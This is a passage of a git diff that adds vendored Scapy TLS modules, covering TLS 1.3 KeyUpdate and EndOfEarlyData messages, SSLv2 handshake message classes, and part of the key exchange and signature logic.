os.urandom(4))[0] + + return _TLSHandshake.build(self) + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + if self.tls_session.connection_end == "client": + self.tls_session.client_session_ticket = self.ticket + + +############################################################################### +# EndOfEarlyData # +############################################################################### + +class TLS13EndOfEarlyData(_TLSHandshake): + name = "TLS 1.3 Handshake - End Of Early Data" + + fields_desc = [ByteEnumField("msgtype", 5, _tls_handshake_type), + ThreeBytesField("msglen", None)] + + +############################################################################### +# KeyUpdate # +############################################################################### +_key_update_request = {0: "update_not_requested", 1: "update_requested"} + + +class TLS13KeyUpdate(_TLSHandshake): + name = "TLS 1.3 Handshake - Key Update" + fields_desc = [ByteEnumField("msgtype", 24, _tls_handshake_type), + ThreeBytesField("msglen", None), + ByteEnumField("request_update", 0, _key_update_request)] + + def post_build_tls_session_update(self, msg_str): + s = self.tls_session + s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite), + connection_end=s.connection_end, + tls_version=s.tls_version) + s.triggered_pwcs_commit = True + s.compute_tls13_next_traffic_secrets(s.connection_end, "write") + + def post_dissection_tls_session_update(self, msg_str): + s = self.tls_session + s.prcs = writeConnState(ciphersuite=type(s.rcs.ciphersuite), + connection_end=s.connection_end, + tls_version=s.tls_version) + s.triggered_prcs_commit = True + if s.connection_end == "server": + s.compute_tls13_next_traffic_secrets("client", "read") + elif s.connection_end == "client": + s.compute_tls13_next_traffic_secrets("server", "read") + + +############################################################################### +# All handshake messages defined in this module # +############################################################################### + +_tls_handshake_cls = {0: TLSHelloRequest, 1: TLSClientHello, + 2: TLSServerHello, 3: TLSHelloVerifyRequest, + 4: TLSNewSessionTicket, + 8: TLSEncryptedExtensions, 11: TLSCertificate, + 12: TLSServerKeyExchange, 13: TLSCertificateRequest, + 14: TLSServerHelloDone, 15: TLSCertificateVerify, + 16: TLSClientKeyExchange, 20: TLSFinished, + 21: TLSCertificateURL, 22: TLSCertificateStatus, + 23: TLSSupplementalData} + +_tls13_handshake_cls = {1: TLS13ClientHello, 2: TLS13ServerHello, + 4: TLS13NewSessionTicket, 5: TLS13EndOfEarlyData, + 8: TLSEncryptedExtensions, 11: TLS13Certificate, + 13: TLS13CertificateRequest, 15: TLSCertificateVerify, + 20: TLSFinished, 24: TLS13KeyUpdate} diff --git a/libs/scapy/layers/tls/handshake_sslv2.py b/libs/scapy/layers/tls/handshake_sslv2.py new file mode 100755 index 0000000..0ed5f65 --- /dev/null +++ b/libs/scapy/layers/tls/handshake_sslv2.py @@ -0,0 +1,548 @@ +# This file is part of Scapy +# Copyright (C) 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +SSLv2 handshake fields & logic. +""" + +import struct + +from scapy.config import conf +from scapy.error import log_runtime, warning +from scapy.utils import randstring +from scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \ + ShortEnumField, StrLenField, XStrField, XStrLenField + +from scapy.packet import Padding +from scapy.layers.tls.cert import Cert +from scapy.layers.tls.basefields import _tls_version, _TLSVersionField +from scapy.layers.tls.handshake import _CipherSuitesField +from scapy.layers.tls.keyexchange import _TLSSignatureField, _TLSSignature +from scapy.layers.tls.session import (_GenericTLSSessionInheritance, + readConnState, writeConnState) +from scapy.layers.tls.crypto.suites import (_tls_cipher_suites, + _tls_cipher_suites_cls, + get_usable_ciphersuites, + SSL_CK_DES_192_EDE3_CBC_WITH_MD5) + + +############################################################################### +# Generic SSLv2 Handshake message # +############################################################################### + +_sslv2_handshake_type = {0: "error", 1: "client_hello", + 2: "client_master_key", 3: "client_finished", + 4: "server_hello", 5: "server_verify", + 6: "server_finished", 7: "request_certificate", + 8: "client_certificate"} + + +class _SSLv2Handshake(_GenericTLSSessionInheritance): + """ + Inherited by other Handshake classes to get post_build(). + Also used as a fallback for unknown TLS Handshake packets. + """ + name = "SSLv2 Handshake Generic message" + fields_desc = [ByteEnumField("msgtype", None, _sslv2_handshake_type)] + + def guess_payload_class(self, p): + return Padding + + def tls_session_update(self, msg_str): + """ + Covers both post_build- and post_dissection- context updates. + """ + self.tls_session.handshake_messages.append(msg_str) + self.tls_session.handshake_messages_parsed.append(self) + + +############################################################################### +# Error # +############################################################################### + +_tls_error_code = {1: "no_cipher", 2: "no_certificate", + 4: "bad_certificate", 6: "unsupported_certificate_type"} + + +class SSLv2Error(_SSLv2Handshake): + """ + SSLv2 Error. + """ + name = "SSLv2 Handshake - Error" + fields_desc = [ByteEnumField("msgtype", 0, _sslv2_handshake_type), + ShortEnumField("code", None, _tls_error_code)] + + +############################################################################### +# ClientHello # +############################################################################### + +class _SSLv2CipherSuitesField(_CipherSuitesField): + def __init__(self, name, default, dico, length_from=None): + _CipherSuitesField.__init__(self, name, default, dico, + length_from=length_from) + self.itemfmt = b"" + self.itemsize = 3 + + def i2m(self, pkt, val): + if val is None: + val2 = [] + val2 = [(x >> 16, x & 0x00ffff) for x in val] + return b"".join([struct.pack(">BH", x[0], x[1]) for x in val2]) + + def m2i(self, pkt, m): + res = [] + while m: + res.append(struct.unpack("!I", b"\x00" + m[:3])[0]) + m = m[3:] + return res + + +class SSLv2ClientHello(_SSLv2Handshake): + """ + SSLv2 ClientHello. + """ + name = "SSLv2 Handshake - Client Hello" + fields_desc = [ByteEnumField("msgtype", 1, _sslv2_handshake_type), + _TLSVersionField("version", 0x0002, _tls_version), + + FieldLenField("cipherslen", None, fmt="!H", + length_of="ciphers"), + FieldLenField("sidlen", None, fmt="!H", + length_of="sid"), + FieldLenField("challengelen", None, fmt="!H", + length_of="challenge"), + + XStrLenField("sid", b"", + length_from=lambda pkt:pkt.sidlen), + _SSLv2CipherSuitesField("ciphers", + [SSL_CK_DES_192_EDE3_CBC_WITH_MD5], + _tls_cipher_suites, + length_from=lambda pkt: pkt.cipherslen), # noqa: E501 + XStrLenField("challenge", b"", + length_from=lambda pkt:pkt.challengelen)] + + def tls_session_update(self, msg_str): + super(SSLv2ClientHello, self).tls_session_update(msg_str) + self.tls_session.advertised_tls_version = self.version + self.tls_session.sslv2_common_cs = self.ciphers + self.tls_session.sslv2_challenge = self.challenge + + +############################################################################### +# ServerHello # +############################################################################### + +class _SSLv2CertDataField(StrLenField): + def getfield(self, pkt, s): + tmp_len = 0 + if self.length_from is not None: + tmp_len = self.length_from(pkt) + try: + certdata = Cert(s[:tmp_len]) + except Exception: + if conf.debug_dissector: + raise + certdata = s[:tmp_len] + return s[tmp_len:], certdata + + def i2len(self, pkt, i): + if isinstance(i, Cert): + return len(i.der) + return len(i) + + def i2m(self, pkt, i): + if isinstance(i, Cert): + return i.der + return i + + +class SSLv2ServerHello(_SSLv2Handshake): + """ + SSLv2 ServerHello. + """ + name = "SSLv2 Handshake - Server Hello" + fields_desc = [ByteEnumField("msgtype", 4, _sslv2_handshake_type), + + ByteField("sid_hit", 0), + ByteEnumField("certtype", 1, {1: "x509_cert"}), + _TLSVersionField("version", 0x0002, _tls_version), + + FieldLenField("certlen", None, fmt="!H", + length_of="cert"), + FieldLenField("cipherslen", None, fmt="!H", + length_of="ciphers"), + FieldLenField("connection_idlen", None, fmt="!H", + length_of="connection_id"), + + _SSLv2CertDataField("cert", b"", + length_from=lambda pkt: pkt.certlen), + _SSLv2CipherSuitesField("ciphers", [], _tls_cipher_suites, + length_from=lambda pkt: pkt.cipherslen), # noqa: E501 + XStrLenField("connection_id", b"", + length_from=lambda pkt: pkt.connection_idlen)] + + def tls_session_update(self, msg_str): + """ + XXX Something should be done about the session ID here. + """ + super(SSLv2ServerHello, self).tls_session_update(msg_str) + + s = self.tls_session + client_cs = s.sslv2_common_cs + css = [cs for cs in client_cs if cs in self.ciphers] + s.sslv2_common_cs = css + s.sslv2_connection_id = self.connection_id + s.tls_version = self.version + if self.cert is not None: + s.server_certs = [self.cert] + + +############################################################################### +# ClientMasterKey # +############################################################################### + +class _SSLv2CipherSuiteField(EnumField): + def __init__(self, name, default, dico): + EnumField.__init__(self, name, default, dico) + + def i2m(self, pkt, val): + if val is None: + return b"" + val2 = (val >> 16, val & 0x00ffff) + return struct.pack(">BH", val2[0], val2[1]) + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + def m2i(self, pkt, m): + return struct.unpack("!I", b"\x00" + m[:3])[0] + + def getfield(self, pkt, s): + return s[3:], self.m2i(pkt, s) + + +class _SSLv2EncryptedKeyField(XStrLenField): + def i2repr(self, pkt, x): + s = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, x) + if pkt.decryptedkey is not None: + dx = pkt.decryptedkey + ds = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, dx) + s += " [decryptedkey= %s]" % ds + return s + + +class SSLv2ClientMasterKey(_SSLv2Handshake): + """ + SSLv2 ClientMasterKey. + """ + __slots__ = ["decryptedkey"] + name = "SSLv2 Handshake - Client Master Key" + fields_desc = [ByteEnumField("msgtype", 2, _sslv2_handshake_type), + _SSLv2CipherSuiteField("cipher", None, _tls_cipher_suites), + + FieldLenField("clearkeylen", None, fmt="!H", + length_of="clearkey"), + FieldLenField("encryptedkeylen", None, fmt="!H", + length_of="encryptedkey"), + FieldLenField("keyarglen", None, fmt="!H", + length_of="keyarg"), + + XStrLenField("clearkey", "", + length_from=lambda pkt: pkt.clearkeylen), + _SSLv2EncryptedKeyField("encryptedkey", "", + length_from=lambda pkt: pkt.encryptedkeylen), # noqa: E501 + XStrLenField("keyarg", "", + length_from=lambda pkt: pkt.keyarglen)] + + def __init__(self, *args, **kargs): + """ + When post_building, the packets fields are updated (this is somewhat + non-standard). We might need these fields later, but calling __str__ + on a new packet (i.e. not dissected from a raw string) applies + post_build to an object different from the original one... unless + we hackishly always set self.explicit to 1. + """ + self.decryptedkey = kargs.pop("decryptedkey", b"") + super(SSLv2ClientMasterKey, self).__init__(*args, **kargs) + self.explicit = 1 + + def pre_dissect(self, s): + clearkeylen = struct.unpack("!H", s[4:6])[0] + encryptedkeylen = struct.unpack("!H", s[6:8])[0] + encryptedkeystart = 10 + clearkeylen + encryptedkey = s[encryptedkeystart:encryptedkeystart + encryptedkeylen] + if self.tls_session.server_rsa_key: + self.decryptedkey = \ + self.tls_session.server_rsa_key.decrypt(encryptedkey) + else: + self.decryptedkey = None + return s + + def post_build(self, pkt, pay): + cs_val = None + if self.cipher is None: + common_cs = self.tls_session.sslv2_common_cs + cs_vals = get_usable_ciphersuites(common_cs, "SSLv2") + if len(cs_vals) == 0: + warning("No known common cipher suite between SSLv2 Hellos.") + cs_val = 0x0700c0 + cipher = b"\x07\x00\xc0" + else: + cs_val = cs_vals[0] # XXX choose the best one + cipher = struct.pack(">BH", cs_val >> 16, cs_val & 0x00ffff) + cs_cls = _tls_cipher_suites_cls[cs_val] + self.cipher = cs_val + else: + cipher = pkt[1:4] + cs_val = struct.unpack("!I", b"\x00" + cipher)[0] + if cs_val not in _tls_cipher_suites_cls: + warning("Unknown ciphersuite %d from ClientMasterKey" % cs_val) + cs_cls = None + else: + cs_cls = _tls_cipher_suites_cls[cs_val] + + if cs_cls: + if (self.encryptedkey == b"" and + len(self.tls_session.server_certs) > 0): + # else, the user is responsible for export slicing & encryption + key = randstring(cs_cls.cipher_alg.key_len) + + if self.clearkey == b"" and cs_cls.kx_alg.export: + self.clearkey = key[:-5] + + if self.decryptedkey == b"": + if cs_cls.kx_alg.export: + self.decryptedkey = key[-5:] + else: + self.decryptedkey = key + + pubkey = self.tls_session.server_certs[0].pubKey + self.encryptedkey = pubkey.encrypt(self.decryptedkey) + + if self.keyarg == b"" and cs_cls.cipher_alg.type == "block": + self.keyarg = randstring(cs_cls.cipher_alg.block_size) + + clearkey = self.clearkey or b"" + if self.clearkeylen is None: + self.clearkeylen = len(clearkey) + clearkeylen = struct.pack("!H", self.clearkeylen) + + encryptedkey = self.encryptedkey or b"" + if self.encryptedkeylen is None: + self.encryptedkeylen = len(encryptedkey) + encryptedkeylen = struct.pack("!H", self.encryptedkeylen) + + keyarg = self.keyarg or b"" + if self.keyarglen is None: + self.keyarglen = len(keyarg) + keyarglen = struct.pack("!H", self.keyarglen) + + s = (pkt[:1] + cipher + + clearkeylen + encryptedkeylen + keyarglen + + clearkey + encryptedkey + keyarg) + return s + pay + + def tls_session_update(self, msg_str): + super(SSLv2ClientMasterKey, self).tls_session_update(msg_str) + + s = self.tls_session + cs_val = self.cipher + if cs_val not in _tls_cipher_suites_cls: + warning("Unknown cipher suite %d from ClientMasterKey" % cs_val) + cs_cls = None + else: + cs_cls = _tls_cipher_suites_cls[cs_val] + + tls_version = s.tls_version or 0x0002 + connection_end = s.connection_end + wcs_seq_num = s.wcs.seq_num + s.pwcs = writeConnState(ciphersuite=cs_cls, + connection_end=connection_end, + seq_num=wcs_seq_num, + tls_version=tls_version) + rcs_seq_num = s.rcs.seq_num + s.prcs = readConnState(ciphersuite=cs_cls, + connection_end=connection_end, + seq_num=rcs_seq_num, + tls_version=tls_version) + + if self.decryptedkey is not None: + s.master_secret = self.clearkey + self.decryptedkey + s.compute_sslv2_km_and_derive_keys() + + if s.pwcs.cipher.type == "block": + s.pwcs.cipher.iv = self.keyarg + if s.prcs.cipher.type == "block": + s.prcs.cipher.iv = self.keyarg + + s.triggered_prcs_commit = True + s.triggered_pwcs_commit = True + + +############################################################################### +# ServerVerify # +############################################################################### + +class SSLv2ServerVerify(_SSLv2Handshake): + """ + In order to parse a ServerVerify, the exact message string should be + fed to the class. This is how SSLv2 defines the challenge length... + """ + name = "SSLv2 Handshake - Server Verify" + fields_desc = [ByteEnumField("msgtype", 5, _sslv2_handshake_type), + XStrField("challenge", "")] + + def build(self, *args, **kargs): + fval = self.getfieldval("challenge") + if fval is None: + self.challenge = self.tls_session.sslv2_challenge + return super(SSLv2ServerVerify, self).build(*args, **kargs) + + def post_dissection(self, pkt): + s = self.tls_session + if s.sslv2_challenge is not None: + if self.challenge != s.sslv2_challenge: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: invalid ServerVerify received [%s]", pkt_info) # noqa: E501 + + +############################################################################### +# RequestCertificate # +############################################################################### + +class SSLv2RequestCertificate(_SSLv2Handshake): + """ + In order to parse a RequestCertificate, the exact message string should be + fed to the class. This is how SSLv2 defines the challenge length... + """ + name = "SSLv2 Handshake - Request Certificate" + fields_desc = [ByteEnumField("msgtype", 7, _sslv2_handshake_type), + ByteEnumField("authtype", 1, {1: "md5_with_rsa"}), + XStrField("challenge", "")] + + def tls_session_update(self, msg_str): + super(SSLv2RequestCertificate, self).tls_session_update(msg_str) + self.tls_session.sslv2_challenge_clientcert = self.challenge + + +############################################################################### +# ClientCertificate # +############################################################################### + +class SSLv2ClientCertificate(_SSLv2Handshake): + """ + SSLv2 ClientCertificate. + """ + name = "SSLv2 Handshake - Client Certificate" + fields_desc = [ByteEnumField("msgtype", 8, _sslv2_handshake_type), + + ByteEnumField("certtype", 1, {1: "x509_cert"}), + FieldLenField("certlen", None, fmt="!H", + length_of="certdata"), + FieldLenField("responselen", None, fmt="!H", + length_of="responsedata"), + + _SSLv2CertDataField("certdata", b"", + length_from=lambda pkt: pkt.certlen), + _TLSSignatureField("responsedata", None, + length_from=lambda pkt: pkt.responselen)] + + def build(self, *args, **kargs): + s = self.tls_session + sig = self.getfieldval("responsedata") + test = (sig is None and + s.sslv2_key_material is not None and + s.sslv2_challenge_clientcert is not None and + len(s.server_certs) > 0) + if test: + s = self.tls_session + m = (s.sslv2_key_material + + s.sslv2_challenge_clientcert + + s.server_certs[0].der) + self.responsedata = _TLSSignature(tls_session=s) + self.responsedata._update_sig(m, s.client_key) + else: + self.responsedata = b"" + return super(SSLv2ClientCertificate, self).build(*args, **kargs) + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + + s = self.tls_session + test = (len(s.client_certs) > 0 and + s.sslv2_key_material is not None and + s.sslv2_challenge_clientcert is not None and + len(s.server_certs) > 0) + if test: + m = (s.sslv2_key_material + + s.sslv2_challenge_clientcert + + s.server_certs[0].der) + sig_test = self.responsedata._verify_sig(m, s.client_certs[0]) + if not sig_test: + pkt_info = self.firstlayer().summary() + log_runtime.info("TLS: invalid client CertificateVerify signature [%s]", pkt_info) # noqa: E501 + + def tls_session_update(self, msg_str): + super(SSLv2ClientCertificate, self).tls_session_update(msg_str) + if self.certdata: + self.tls_session.client_certs = [self.certdata] + + +############################################################################### +# Finished # +############################################################################### + +class SSLv2ClientFinished(_SSLv2Handshake): + """ + In order to parse a ClientFinished, the exact message string should be fed + to the class. SSLv2 does not offer any other way to know the c_id length. + """ + name = "SSLv2 Handshake - Client Finished" + fields_desc = [ByteEnumField("msgtype", 3, _sslv2_handshake_type), + XStrField("connection_id", "")] + + def build(self, *args, **kargs): + fval = self.getfieldval("connection_id") + if fval == b"": + self.connection_id = self.tls_session.sslv2_connection_id + return super(SSLv2ClientFinished, self).build(*args, **kargs) + + def post_dissection(self, pkt): + s = self.tls_session + if s.sslv2_connection_id is not None: + if self.connection_id != s.sslv2_connection_id: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: invalid client Finished received [%s]", pkt_info) # noqa: E501 + + +class SSLv2ServerFinished(_SSLv2Handshake): + """ + In order to parse a ServerFinished, the exact message string should be fed + to the class. SSLv2 does not offer any other way to know the sid length. + """ + name = "SSLv2 Handshake - Server Finished" + fields_desc = [ByteEnumField("msgtype", 6, _sslv2_handshake_type), + XStrField("sid", "")] + + def build(self, *args, **kargs): + fval = self.getfieldval("sid") + if fval == b"": + self.sid = self.tls_session.sid + return super(SSLv2ServerFinished, self).build(*args, **kargs) + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + self.tls_session.sid = self.sid + + +############################################################################### +# All handshake messages defined in this module # +############################################################################### + +_sslv2_handshake_cls = {0: SSLv2Error, 1: SSLv2ClientHello, + 2: SSLv2ClientMasterKey, 3: SSLv2ClientFinished, + 4: SSLv2ServerHello, 5: SSLv2ServerVerify, + 6: SSLv2ServerFinished, 7: SSLv2RequestCertificate, + 8: SSLv2ClientCertificate} diff --git a/libs/scapy/layers/tls/keyexchange.py b/libs/scapy/layers/tls/keyexchange.py new file mode 100755 index 0000000..9505e2d --- /dev/null +++ b/libs/scapy/layers/tls/keyexchange.py @@ -0,0 +1,968 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# 2019 Romain Perez +# This program is published under a GPLv2 license + +""" +TLS key exchange logic. +""" + +from __future__ import absolute_import +import math +import struct + +from scapy.config import conf, crypto_validator +from scapy.error import warning +from scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \ + FieldListField, PacketField, ShortEnumField, ShortField, \ + StrFixedLenField, StrLenField +from scapy.compat import orb +from scapy.packet import Packet, Raw, Padding +from scapy.layers.tls.cert import PubKeyRSA, PrivKeyRSA +from scapy.layers.tls.session import _GenericTLSSessionInheritance +from scapy.layers.tls.basefields import _tls_version, _TLSClientVersionField +from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip +from scapy.layers.tls.crypto.groups import _ffdh_groups, _tls_named_curves +import scapy.modules.six as six + +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives import serialization + from cryptography.hazmat.primitives.asymmetric import dh, ec + + +############################################################################### +# Common Fields # +############################################################################### + +_tls_hash_sig = {0x0000: "none+anon", 0x0001: "none+rsa", + 0x0002: "none+dsa", 0x0003: "none+ecdsa", + 0x0100: "md5+anon", 0x0101: "md5+rsa", + 0x0102: "md5+dsa", 0x0103: "md5+ecdsa", + 0x0200: "sha1+anon", 0x0201: "sha1+rsa", + 0x0202: "sha1+dsa", 0x0203: "sha1+ecdsa", + 0x0300: "sha224+anon", 0x0301: "sha224+rsa", + 0x0302: "sha224+dsa", 0x0303: "sha224+ecdsa", + 0x0400: "sha256+anon", 0x0401: "sha256+rsa", + 0x0402: "sha256+dsa", 0x0403: "sha256+ecdsa", + 0x0500: "sha384+anon", 0x0501: "sha384+rsa", + 0x0502: "sha384+dsa", 0x0503: "sha384+ecdsa", + 0x0600: "sha512+anon", 0x0601: "sha512+rsa", + 0x0602: "sha512+dsa", 0x0603: "sha512+ecdsa", + 0x0804: "sha256+rsaepss", 0x0805: "sha384+rsaepss", + 0x0806: "sha512+rsaepss", 0x0807: "ed25519", + 0x0808: "ed448", 0x0809: "sha256+rsapss", + 0x080a: "sha384+rsapss", 0x080b: "sha512+rsapss"} + + +def phantom_mode(pkt): + """ + We expect this. If tls_version is not set, this means we did not process + any complete ClientHello, so we're most probably reading/building a + signature_algorithms extension, hence we cannot be in phantom_mode. + However, if the tls_version has been set, we test for TLS 1.2. + """ + if not pkt.tls_session: + return False + if not pkt.tls_session.tls_version: + return False + return pkt.tls_session.tls_version < 0x0303 + + +def phantom_decorate(f, get_or_add): + """ + Decorator for version-dependent fields. + If get_or_add is True (means get), we return s, self.phantom_value. + If it is False (means add), we return s. + """ + def wrapper(*args): + self, pkt, s = args[:3] + if phantom_mode(pkt): + if get_or_add: + return s, self.phantom_value + return s + return f(*args) + return wrapper + + +class SigAndHashAlgField(EnumField): + """Used in _TLSSignature.""" + phantom_value = None + getfield = phantom_decorate(EnumField.getfield, True) + addfield = phantom_decorate(EnumField.addfield, False) + + +class SigAndHashAlgsLenField(FieldLenField): + """Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.""" + phantom_value = 0 + getfield = phantom_decorate(FieldLenField.getfield, True) + addfield = phantom_decorate(FieldLenField.addfield, False) + + +class SigAndHashAlgsField(FieldListField): + """Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.""" + phantom_value = [] + getfield = phantom_decorate(FieldListField.getfield, True) + addfield = phantom_decorate(FieldListField.addfield, False) + + +class SigLenField(FieldLenField): + """There is a trick for SSLv2, which uses implicit lengths...""" + + def getfield(self, pkt, s): + v = pkt.tls_session.tls_version + if v and v < 0x0300: + return s, None + return super(SigLenField, self).getfield(pkt, s) + + def addfield(self, pkt, s, val): + """With SSLv2 you will never be able to add a sig_len.""" + v = pkt.tls_session.tls_version + if v and v < 0x0300: + return s + return super(SigLenField, self).addfield(pkt, s, val) + + +class SigValField(StrLenField): + """There is a trick for SSLv2, which uses implicit lengths...""" + + def getfield(self, pkt, m): + s = pkt.tls_session + if s.tls_version and s.tls_version < 0x0300: + if len(s.client_certs) > 0: + sig_len = s.client_certs[0].pubKey.pubkey.key_size // 8 + else: + warning("No client certificate provided. " + "We're making a wild guess about the signature size.") + sig_len = 256 + return m[sig_len:], self.m2i(pkt, m[:sig_len]) + return super(SigValField, self).getfield(pkt, m) + + +class _TLSSignature(_GenericTLSSessionInheritance): + """ + Prior to TLS 1.2, digitally-signed structure implicitly used the + concatenation of a MD5 hash and a SHA-1 hash. + Then TLS 1.2 introduced explicit SignatureAndHashAlgorithms, + i.e. couples of (hash_alg, sig_alg). See RFC 5246, section 7.4.1.4.1. + + By default, the _TLSSignature implements the TLS 1.2 scheme, + but if it is provided a TLS context with a tls_version < 0x0303 + at initialization, it will fall back to the implicit signature. + Even more, the 'sig_len' field won't be used with SSLv2. + + #XXX 'sig_alg' should be set in __init__ depending on the context. + """ + name = "TLS Digital Signature" + fields_desc = [SigAndHashAlgField("sig_alg", 0x0804, _tls_hash_sig), + SigLenField("sig_len", None, fmt="!H", + length_of="sig_val"), + SigValField("sig_val", None, + length_from=lambda pkt: pkt.sig_len)] + + def __init__(self, *args, **kargs): + super(_TLSSignature, self).__init__(*args, **kargs) + if (self.tls_session and + self.tls_session.tls_version): + if self.tls_session.tls_version < 0x0303: + self.sig_alg = None + elif self.tls_session.tls_version == 0x0304: + # For TLS 1.3 signatures, set the signature + # algorithm to RSA-PSS + self.sig_alg = 0x0804 + + def _update_sig(self, m, key): + """ + Sign 'm' with the PrivKey 'key' and update our own 'sig_val'. + Note that, even when 'sig_alg' is not None, we use the signature scheme + of the PrivKey (neither do we care to compare the both of them). + """ + if self.sig_alg is None: + if self.tls_session.tls_version >= 0x0300: + self.sig_val = key.sign(m, t='pkcs', h='md5-sha1') + else: + self.sig_val = key.sign(m, t='pkcs', h='md5') + else: + h, sig = _tls_hash_sig[self.sig_alg].split('+') + if sig.endswith('pss'): + t = "pss" + else: + t = "pkcs" + self.sig_val = key.sign(m, t=t, h=h) + + def _verify_sig(self, m, cert): + """ + Verify that our own 'sig_val' carries the signature of 'm' by the + key associated to the Cert 'cert'. + """ + if self.sig_val: + if self.sig_alg: + h, sig = _tls_hash_sig[self.sig_alg].split('+') + if sig.endswith('pss'): + t = "pss" + else: + t = "pkcs" + return cert.verify(m, self.sig_val, t=t, h=h) + else: + if self.tls_session.tls_version >= 0x0300: + return cert.verify(m, self.sig_val, t='pkcs', h='md5-sha1') + else: + return cert.verify(m, self.sig_val, t='pkcs', h='md5') + return False + + def guess_payload_class(self, p): + return Padding + + +class _TLSSignatureField(PacketField): + """ + Used for 'digitally-signed struct' in several ServerKeyExchange, + and also in CertificateVerify. We can handle the anonymous case. + """ + __slots__ = ["length_from"] + + def __init__(self, name, default, length_from=None, remain=0): + self.length_from = length_from + PacketField.__init__(self, name, default, _TLSSignature, remain=remain) + + def m2i(self, pkt, m): + tmp_len = self.length_from(pkt) + if tmp_len == 0: + return None + return _TLSSignature(m, tls_session=pkt.tls_session) + + def getfield(self, pkt, s): + i = self.m2i(pkt, s) + if i is None: + return s, None + remain = b"" + if conf.padding_layer in i: + r = i[conf.padding_layer] + del r.underlayer.payload + remain = r.load + return remain, i + + +class _TLSServerParamsField(PacketField): + """ + This is a dispatcher for the Server*DHParams below, used in + TLSServerKeyExchange and based on the key_exchange.server_kx_msg_cls. + When this cls is None, it means that we should not see a ServerKeyExchange, + so we grab everything within length_from and make it available using Raw. + + When the context has not been set (e.g. when no ServerHello was parsed or + dissected beforehand), we (kinda) clumsily set the cls by trial and error. + XXX We could use Serv*DHParams.check_params() once it has been implemented. + """ + __slots__ = ["length_from"] + + def __init__(self, name, default, length_from=None, remain=0): + self.length_from = length_from + PacketField.__init__(self, name, default, None, remain=remain) + + def m2i(self, pkt, m): + s = pkt.tls_session + tmp_len = self.length_from(pkt) + if s.prcs: + cls = s.prcs.key_exchange.server_kx_msg_cls(m) + if cls is None: + return None, Raw(m[:tmp_len]) / Padding(m[tmp_len:]) + return cls(m, tls_session=s) + else: + try: + p = ServerDHParams(m, tls_session=s) + if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig: + raise Exception + return p + except Exception: + cls = _tls_server_ecdh_cls_guess(m) + p = cls(m, tls_session=s) + if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig: + return None, Raw(m[:tmp_len]) / Padding(m[tmp_len:]) + return p + + +############################################################################### +# Server Key Exchange parameters & value # +############################################################################### + +# Finite Field Diffie-Hellman + +class ServerDHParams(_GenericTLSSessionInheritance): + """ + ServerDHParams for FFDH-based key exchanges, as defined in RFC 5246/7.4.3. + + Either with .fill_missing() or .post_dissection(), the server_kx_privkey or + server_kx_pubkey of the TLS context are updated according to the + parsed/assembled values. It is the user's responsibility to store and + restore the original values if he wants to keep them. For instance, this + could be done between the writing of a ServerKeyExchange and the receiving + of a ClientKeyExchange (which includes secret generation). + """ + name = "Server FFDH parameters" + fields_desc = [FieldLenField("dh_plen", None, length_of="dh_p"), + StrLenField("dh_p", "", + length_from=lambda pkt: pkt.dh_plen), + FieldLenField("dh_glen", None, length_of="dh_g"), + StrLenField("dh_g", "", + length_from=lambda pkt: pkt.dh_glen), + FieldLenField("dh_Yslen", None, length_of="dh_Ys"), + StrLenField("dh_Ys", "", + length_from=lambda pkt: pkt.dh_Yslen)] + + @crypto_validator + def fill_missing(self): + """ + We do not want TLSServerKeyExchange.build() to overload and recompute + things every time it is called. This method can be called specifically + to have things filled in a smart fashion. + + Note that we do not expect default_params.g to be more than 0xff. + """ + s = self.tls_session + + default_params = _ffdh_groups['modp2048'][0].parameter_numbers() + default_mLen = _ffdh_groups['modp2048'][1] + + if not self.dh_p: + self.dh_p = pkcs_i2osp(default_params.p, default_mLen // 8) + if self.dh_plen is None: + self.dh_plen = len(self.dh_p) + + if not self.dh_g: + self.dh_g = pkcs_i2osp(default_params.g, 1) + if self.dh_glen is None: + self.dh_glen = 1 + + p = pkcs_os2ip(self.dh_p) + g = pkcs_os2ip(self.dh_g) + real_params = dh.DHParameterNumbers(p, g).parameters(default_backend()) + + if not self.dh_Ys: + s.server_kx_privkey = real_params.generate_private_key() + pubkey = s.server_kx_privkey.public_key() + y = pubkey.public_numbers().y + self.dh_Ys = pkcs_i2osp(y, pubkey.key_size // 8) + # else, we assume that the user wrote the server_kx_privkey by himself + if self.dh_Yslen is None: + self.dh_Yslen = len(self.dh_Ys) + + if not s.client_kx_ffdh_params: + s.client_kx_ffdh_params = real_params + + @crypto_validator + def register_pubkey(self): + """ + XXX Check that the pubkey received is in the group. + """ + p = pkcs_os2ip(self.dh_p) + g = pkcs_os2ip(self.dh_g) + pn = dh.DHParameterNumbers(p, g) + + y = pkcs_os2ip(self.dh_Ys) + public_numbers = dh.DHPublicNumbers(y, pn) + + s = self.tls_session + s.server_kx_pubkey = public_numbers.public_key(default_backend()) + + if not s.client_kx_ffdh_params: + s.client_kx_ffdh_params = pn.parameters(default_backend()) + + def post_dissection(self, r): + try: + self.register_pubkey() + except ImportError: + pass + + def guess_payload_class(self, p): + """ + The signature after the params gets saved as Padding. + This way, the .getfield() which _TLSServerParamsField inherits + from PacketField will return the signature remain as expected. + """ + return Padding + + +# Elliptic Curve Diffie-Hellman + +_tls_ec_curve_types = {1: "explicit_prime", + 2: "explicit_char2", + 3: "named_curve"} + +_tls_ec_basis_types = {0: "ec_basis_trinomial", 1: "ec_basis_pentanomial"} + + +class ECCurvePkt(Packet): + name = "Elliptic Curve" + fields_desc = [FieldLenField("alen", 